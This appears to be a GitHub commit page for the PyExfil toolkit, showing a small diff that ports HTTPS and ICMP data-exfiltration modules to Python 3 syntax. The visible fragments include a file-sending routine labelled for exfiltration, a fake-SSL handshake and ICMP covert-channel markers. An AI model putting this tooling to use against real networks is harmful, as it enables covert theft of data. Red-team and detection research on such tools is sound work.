Skip to content

Commit 0297b46

Browse files
committed
small fixes
Addressing issue #20 finally. Thanks to @CapacitorSet.
1 parent b467fef commit 0297b46

File tree

2 files changed

+21
-12
lines changed

2 files changed

+21
-12
lines changed

pyexfil/network/HTTPS/https_client.py

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,14 @@
1515
timeout = 2
1616
socket.setdefaulttimeout(timeout)
1717

18+
if sys.version_info.major == 3:
19+
xrange = range
20+
elif sys.version_info.major == 2:
21+
xrange = xrange
22+
else:
23+
# In the distant future, the year 2000...
24+
sys.exit()
25+
1826

1927
def chunkstring(s, n):
2028
return [ s[i:i+n] for i in xrange(0, len(s), n) ]
@@ -68,7 +76,7 @@ def _pretendSSL(self):
6876
try:
6977
response = urllib2.urlopen('https://%s:%s/' % (self.host, self.port))
7078
html = response.read()
71-
except urllib2.URLError, e:
79+
except urllib2.URLError as e:
7280
return 0
7381
except socket.error as e:
7482
sys.stderr.write("[!]\tCould not reach server to fake SSL handshake!\n")
@@ -144,7 +152,7 @@ def sendFile(self, file_path):
144152
data = f.read()
145153
f.close()
146154
sys.stdout.write("[+]\tFile '%s' was loaded for exfiltration.\n" % file_path)
147-
except IOError, e:
155+
except IOError as e:
148156
sys.stderr.write("[-]\tUnable to read file '%s'.\n%s.\n" % (file_path, e))
149157
return 1
150158

pyexfil/network/ICMP/icmp_exfiltration.py

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -6,21 +6,22 @@
66
import time
77
import datetime
88
import base64
9+
910
from socket import *
1011
from impacket import ImpactPacket
1112

1213

1314
""" Constants """
14-
READ_BINARY = "rb"
15-
WRITE_BINARY = "wb"
16-
READ_FROM_SOCK = 7000
17-
ICMP_HEADER_SIZE = 27
18-
DATA_SEPARATOR = "::"
19-
DATA_TERMINATOR = "\x12\x13\x14\x15"
20-
INIT_PACKET = "\x12\x11\x13\x12\x12\x12"
21-
END_PACKET = "\x15\x14\x13\x12"
22-
LOGFILE_BASENAME = "icmp_log"
23-
LOGFILE_EXT = ".txt"
15+
READ_BINARY = "rb"
16+
WRITE_BINARY = "wb"
17+
READ_FROM_SOCK = 7000
18+
ICMP_HEADER_SIZE = 27
19+
DATA_SEPARATOR = "::"
20+
DATA_TERMINATOR = "\x12\x13\x14\x15"
21+
INIT_PACKET = "\x12\x11\x13\x12\x12\x12"
22+
END_PACKET = "\x15\x14\x13\x12"
23+
LOGFILE_BASENAME = "icmp_log"
24+
LOGFILE_EXT = ".txt"
2425

2526

2627
def send_file(ip_addr, src_ip_addr="127.0.0.1", file_path="", max_packetsize=512, SLEEP=0.1):

0 commit comments

Comments
 (0)